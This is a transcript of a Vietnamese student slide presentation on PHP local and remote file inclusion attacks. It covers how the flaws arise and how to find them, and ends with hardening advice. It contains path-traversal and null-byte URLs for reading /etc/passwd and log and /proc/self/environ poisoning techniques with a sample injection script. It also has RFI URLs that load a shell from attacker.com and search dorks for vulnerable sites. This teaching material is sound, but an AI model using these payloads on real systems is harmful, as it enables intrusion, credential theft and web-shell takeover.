Top Banner
57

File inclusion attack(nop thay)

Jun 23, 2015

Download

Education

phanleson

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: File inclusion attack(nop thay)
Page 2: File inclusion attack(nop thay)

Lê Hữu Tài MSSV 06130068 Lớp DH06DTM Email [email protected]

Nguyễn Duy Chinh MSSV 06130110 Lớp DH06DTM Email [email protected]

Phạm Xuân Cường MSSV 05130120 Lớp DH06DTM Email [email protected]

Page 3: File inclusion attack(nop thay)

Giới thiệu tổng quan File Inclusion Attack là gì ? Cách phát hiện và khai thác lỗi Cách tìm kiếm lỗi Cách khắc phục , phòng chống Demo

Page 4: File inclusion attack(nop thay)
Page 5: File inclusion attack(nop thay)

Có thể nói những ứng dụng web như CMS , Forum , Blog .. là cửa ngõ mà hacker có thể quan sát và tìm lỗi khai thác để xâm nhập vào hệ thống đầu tiên.

Page 6: File inclusion attack(nop thay)

Hiện nay việc code một website thật sự không quá khó khăn nhưng việc code để chạy được và code site kỹ lưỡng để chống hacker là hai chuyện khác hẳn nhau .

Nhiều lập trình viên thường cẩu thả trong việc code dẫn đến phát sinh nhiều lỗi, có khi là rất ngớ ngẩn. Chỉ cần 1 vài thao tác là 1 hacker có thể dùng website này để làm bàn đạp tấn công vào server.

Page 7: File inclusion attack(nop thay)

Như ta đã biết PHP là một ngôn ngữ mạnh cung cấp hầu hết các hàm cần thiết cho chúng ta lập trình ứng dụng web.

Trong đó, PHP hỗ trợ cho ta một số hàm cho phép file hiện tại có thể gọi đến một file khác.

Page 8: File inclusion attack(nop thay)

Tiện ích của nó là ta có thể code những hàm sử dụng thường xuyên ở một file, rồi những file khác cần dùng đến các hàm trên thì chỉ cần gọi đến file mà ta đã code.

Một số hàm như : include,include_once,require,require_once

Page 9: File inclusion attack(nop thay)

Kết quả của điều này là : Nếu như một coder không chú ý kĩ càng về

việc kiểm tra biến, kiểm tra quá trình khởi tạo biến . Hacker sẽ lợi dụng điều này để tạo ra một số biến bất hợp pháp để truy cập và xử lý các câu lệnh trái phép ngay trên chính script bị lỗi đó .

Page 10: File inclusion attack(nop thay)
Page 11: File inclusion attack(nop thay)

File Inclusion Attack là kĩ thuật khai thác dựa trên lỗi include file trong PHP , nó được chia thành 2 loại : Local File Inclusion Remote File Inclusion

Page 12: File inclusion attack(nop thay)

Điều kiện để khai thác thành công : Các biến register_globals ,

allow_url_include và allow_url_fopen trong file PHP.ini của Apache Server phải bật ON.

Register_globals khi được bật ON thì tất cả các biến được truyền từ URL được xem như biến toàn cục nên có thể được gọi từ trình duyệt và include file .

Page 13: File inclusion attack(nop thay)
Page 14: File inclusion attack(nop thay)

Local File Inclusion là kĩ thuật chèn 1 file local vào hệ thống , nếu khai thác được lỗi này hacker có thể xem được rất nhiều thông tin của server victim như các file : passwd , httpd.conf , php.ini , access_log … tùy theo mức độ bảo mật của server.

Page 15: File inclusion attack(nop thay)

Ví dụ ta có file vidu1.php như sau :<?php$file = “ ”;Include(/home/$file);?>

Ta thấy biến $file chưa được khởi tạo,và nó được include trong thư mục /home , dựa vào lỗi này , chúng ta có thể khởi tạo biến trên trình duyệt dùm cho victim .

Page 16: File inclusion attack(nop thay)

Giả sử cấu trúc thư mục của victim là : root/home/victim/public_html/forum/includes/vidu1.php

Ta sẽ thử đường dẫn sau :http://victim.com/vidu1.php?file=../../../../../etc/passwd

Ta đã gán biến $file = “../../../../../etc/passwd” , khi đó code trên sẽ là :

Include(/home/../../../../../etc/passwd);

Nó sẽ trở lại 5 cấp của thư mục và hiển thị nội dung của file passwd trên website .

Page 17: File inclusion attack(nop thay)

Null-Byte : %00 Trong một số trường hợp include được dùng

như sau:include($page.".html");

Khi đó chỉ các file .html mới được include, vậy làm sao để đọc được file khác?

Null-byte sẽ cho phép đọc file khác bằng cách thêm null byte vào cuối file cần đọc.http://victim.com/vidu1.php?file=../../../../../etc/passwd%00

Page 18: File inclusion attack(nop thay)

Nếu như bạn test http://site.com/page?=' và nhận được thông báo lỗi dạng như

Đây là lỗi Local

Warning: include(../Caerwyn_1.jpg) [function.include]: failed to open stream: No such file or directory in D:\Webs\site.com\www\page\content_g.php on line 95

Warning: include(../Caerwyn_1.jpg) [function.include]: failed to open stream: No such file or directory in D:\Webs\site.com\www\page\content_g.php on line 95

Page 19: File inclusion attack(nop thay)

Điểm quan trọng trong khai thác LFI là đọc được các file nhạy cảm của hệ thống như etc/passwd, /etc/group, httpd.conf …

File httpd.conf là file cấu hình của webserver Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với việc khai thác là error_log, access_log, DocumentRoot,…

Một số file quan trọng của website như .htaccess , file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)

Page 20: File inclusion attack(nop thay)

Chứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force .

Nếu mật khẩu không được shadow, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd

Chứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force .

Nếu mật khẩu không được shadow, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd

Page 21: File inclusion attack(nop thay)
Page 22: File inclusion attack(nop thay)

Ẩn code PHP và dấu Shell

Page 23: File inclusion attack(nop thay)

Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiên phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…

Page 24: File inclusion attack(nop thay)

Ảnh đã chèn code phpẢnh đã chèn code php

Sau khi include ảnh đó vào

Sau khi include ảnh đó vào

Page 25: File inclusion attack(nop thay)

Hai tool có thể dùng là:oedjpgcom.exe dùng cho Windows

Download: http://guru.net.vn/content/binary/edjpgcom.zipojhead cho Linux và Windows

Download : http://freshmeat.net/projects/jhead/

Page 26: File inclusion attack(nop thay)

Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).

Page 27: File inclusion attack(nop thay)

File log ghi nhận lỗi có chứa mã PHP

Page 28: File inclusion attack(nop thay)

Trong một vài trường hợp một số phần của website lưu dữ liệu ra file text ví dụ như maillist, blogroll,..

Thường thì phần này sẽ lưu thông tin người dùng thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces, file config của site,…

Page 29: File inclusion attack(nop thay)

Ví dụ đoạn code lỗi:<?php

echo ‘<form method=”POST”>’;

echo ‘E-Mail Address’;

echo ‘<input name=”email”>’;

echo ‘<input type=”submit” name=”submit”>’;

echo ‘</form>’;

if(isset($_POST['submit'])){

$data = $_POST['email'];

$fp = fopen(”data.txt”,”a+”);

$wr = fwrite($fp,$data);

fclose($fp);

}

?>

File dữ liệu là file data.txt, có thể tận dụng file này để khai thác.

Page 30: File inclusion attack(nop thay)

Với một số phần mềm hiện nay, hay có thêm phần module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke có đoạn code như sau :

<?

$REQ = print_r($_REQUEST,true);

$ip = ‘IP: ‘.$_SERVER['REMOTE_ADDR'];

$time = ‘Date: ‘.date(”d.m.y - H:i:s”);

$ref = ‘Referer: ‘.$_SERVER['HTTP_REFERER'];

$browser = ‘Browser: ‘.$_SERVER['HTTP_USER_AGENT'];

if(eregi(’UNION’,$REQ) && eregi(’SELECT’,$REQ)){

$fp = fopen(”attacks.txt”,”a+”);

fwrite($fp,”$REQ\n $ip\n $time\n $browser\n $ref\n”);

fclose($fp);

header(’Location: http://www.google.com’);

}

?>

Page 31: File inclusion attack(nop thay)

Khi đó các request từ trình duyệt có từ UNION và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.

Như vậy có thể chèn mã PHP vào file đó như sau:

http://www.example.com/index.php?id= UNION SELECT <?php echo phpinfo(); ?>http://www.example.com/index.php?id= UNION SELECT <?php echo phpinfo(); ?>

Page 32: File inclusion attack(nop thay)

/proc là một thư mục cho phép giao tiếp giữa nhân hệ điều hành (kernel) với với người dùng của hệ điều hành (user).

Tất cả các file trong /proc không có trên đĩa cứng nó tồn tại trong RAM. Trong phần này có thể lợi dụng để chèn code qua Referer, phần code này

sẽ được lưu trong file nằm trong thư mục có tên trùng với process ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.

Kỹ thuật này tương đối phức tạp

Page 33: File inclusion attack(nop thay)

Code minh họa:<?php$res = ”;$fp = fsockopen(’www.lab.vnsecurity.com’, 80);if(!$fp){echo “hi!.”;}fputs($fp, “GET /index.php?page=/proc/self/environ HTTP/1.1\r\n”);fputs($fp, “Referer: <?php echo phpinfo(); ?>\r\n”);fputs($fp, “Host: www.lab.vnsecurity.com\r\n\r\n”);while(!feof($fp)){$res .= fgets($fp, 128);}echo $res;?>

Page 34: File inclusion attack(nop thay)
Page 35: File inclusion attack(nop thay)

Remote File Inclusion ( gọi tắt là RFI ) là một lỗi mà kẻ tấn công có thể chèn đoạn mã độc của chúng (như file uploader hay shells ) vào 1 webpage nào đó bị lỗi , Web server của webpage đó sẽ hiểu và hiển thị theo script của chúng ta , khi đó chúng ta sẽ dễ dàng có đầy đủ quyền kiểm soát Server .

Page 36: File inclusion attack(nop thay)

1. Lỗi khai báo biến : Ta có ví dụ thứ 2 , file vidu2.php<?php $mkdir = “ ”;Include($mkdir/config.php);?>

Biến $mkdir để trống không khai báo. Điều này đã tạo cơ hội cho attacker khai báo dùm .

Page 37: File inclusion attack(nop thay)

Nếu attacker dùng địa chỉ như sau: http://victim.com/exam2.php?mkdir=http://attacker.com?

File vidu2.php của victim lúc này sẽ như sau:<?php$mkdir= “http://attacker.com?”;Include (http://attacker.com?/config.php);?>

Trong trường hợp này thì website của victim sẽ hiển thị nội dung của trang http://attacker.com , dấu ? ở đây có nghĩa là những phần phía sau dấu ? Sẽ được hiểu là biến và sẽ không thực thi , nó chỉ hiển thị trang http://attacker.com mà bỏ qua /config.php

Page 38: File inclusion attack(nop thay)

2. Lỗi khi dùng hàm if<?php

If (!$mkdir) ($mkdir=”config.php”)

Include($mkdir); ?>

Page 39: File inclusion attack(nop thay)

Code trên có một sai lầm , đó là không khai báo trực tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó không.

Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các giá trị mặc định của biến đó đã bị vô hiệu hoá.

http://victim.com/exam3.php?mkdir=http://attacker.com/shell.txt?

Page 40: File inclusion attack(nop thay)

Nếu như bạn test http://site.com/page?=' và nhận được thông báo lỗi dạng như

Đây là lỗi Remote

Warning: main(): Failed opening '/3_plugin_twindow/skin_gray/frame_design.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/hosting_users/piano18/www/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php on line 27

Warning: main(): Failed opening '/3_plugin_twindow/skin_gray/frame_design.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/hosting_users/piano18/www/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php on line 27

Page 41: File inclusion attack(nop thay)

Chèn file của chúng ta vào webpage của nạn nhânhttp://www.yoursite.com.vn/file.php?file=hacker.com/shell.txt?

Khi một website hiển thị một trang khác của chính nó , chúng ta sửa lại URL và đặt trang code php shell của chúng ta vào thì nó sẽ hiểu là trang cần hiện thị và như vậy là chúng ta sẽ có trang php shell ngay trên server của website đó .

Page 42: File inclusion attack(nop thay)
Page 43: File inclusion attack(nop thay)

Kẻ tấn công có web shell trong tay sẽ đọc được tất cả các file trong website đang chạy shell đó.

Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng máy chủ đó.

Lỗi này hay được tấn dụng để tấn công local hack : kiểu tấn công máy chủ, website qua một site bị lỗi trên máy chủ.

Page 44: File inclusion attack(nop thay)

Nếu có quyền ghi, tất cả các file có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập, ẩn dấu backdoor để lần sau vào tiếp …

Kẻ tấn công cũng có thể lấy thông tin truy nhập cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở dữ liệu : download dữ liệu, xóa, thay đổi dữ liệu …

Page 45: File inclusion attack(nop thay)
Page 46: File inclusion attack(nop thay)

Kiểm hộp đenKiểm hộp đenKiểm hộp đenKiểm hộp đen

Kiểm hộp trắngKiểm hộp trắngKiểm hộp trắngKiểm hộp trắng

Page 47: File inclusion attack(nop thay)

Kiểm thử hộp trắng

Khi bạn kiểm tra toàn bộ source code.Có thể có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng.

Tìm các dòng có cú pháp tương tự như include($page) , điểm lưu ý là biến $page phải chưa được khởi tạo hoặc gán giá trị thì mới có lỗi include file.

Page 48: File inclusion attack(nop thay)

Có thể trực tiếp tìm thông tin về lỗi của mục tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như http://www.milw0rm.com nếu đã biết tên phần mềm trang web mục tiêu dùng.

Page 49: File inclusion attack(nop thay)

http://www.milw0rm.com/

Page 50: File inclusion attack(nop thay)

http://www.google.com/codesearchCú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)

Page 51: File inclusion attack(nop thay)

Kiểm thử hộp đen

Khi attacker tấn công một hệ thống nào đó, chỉ có thể nhìn từ bên ngoài.

Phương pháp là thử các dữ liệu đầu vào, bất kỳ dữ liệu nào, khi ứng dụng phát sinh lỗi là bạn có thêm thông tin.

Để có thể tìm ra lỗi thì có thể kiểm thử bằng công cụ quét, hoặc kiểm thử “bằng tay”.

Ví dụ bạn thấy có các link dạng: example.com/index.php?page=downloads.html như vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng cách đọc thử các file khác .

Page 52: File inclusion attack(nop thay)

Một số từ khóa phổ biến như :

inurl:/modules/My_eGallery/public/displayCategory.php?basepath=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir= inurl:/_functions.php?prefix= inurl:/cpcommerce/_functions.php?prefix= inurl:/modules/coppermine/themes/default/theme.php?

THEME_DIR=…

Page 53: File inclusion attack(nop thay)
Page 54: File inclusion attack(nop thay)

Qua phần trên bạn đã có thể hình dung lỗi như thế nào, tấn công ra sao?

Vậy làm gì để chống lại các tấn công include file ?

Về cơ bản có 2 việc phải làm: Server an toàn Lập trình an toàn (cái này rất quan trọng

vì code có thể triển khai ở nhiều server)

Page 55: File inclusion attack(nop thay)

Để có một server an toàn , bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như quản trị . Trong php.ini đặt các tham số

▪ allow_url_fopen=Off ▪ register_globals=Off▪ Safe_mode=On▪ display_error=Off

Đặt quyền cho các thư mục hợp lý

Page 56: File inclusion attack(nop thay)

Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác.

Bắt lỗi chặt chẽ Bất cứ biến nào cũng cần khởi tạo Sử dụng đường dẫn tuyệt đối

Page 57: File inclusion attack(nop thay)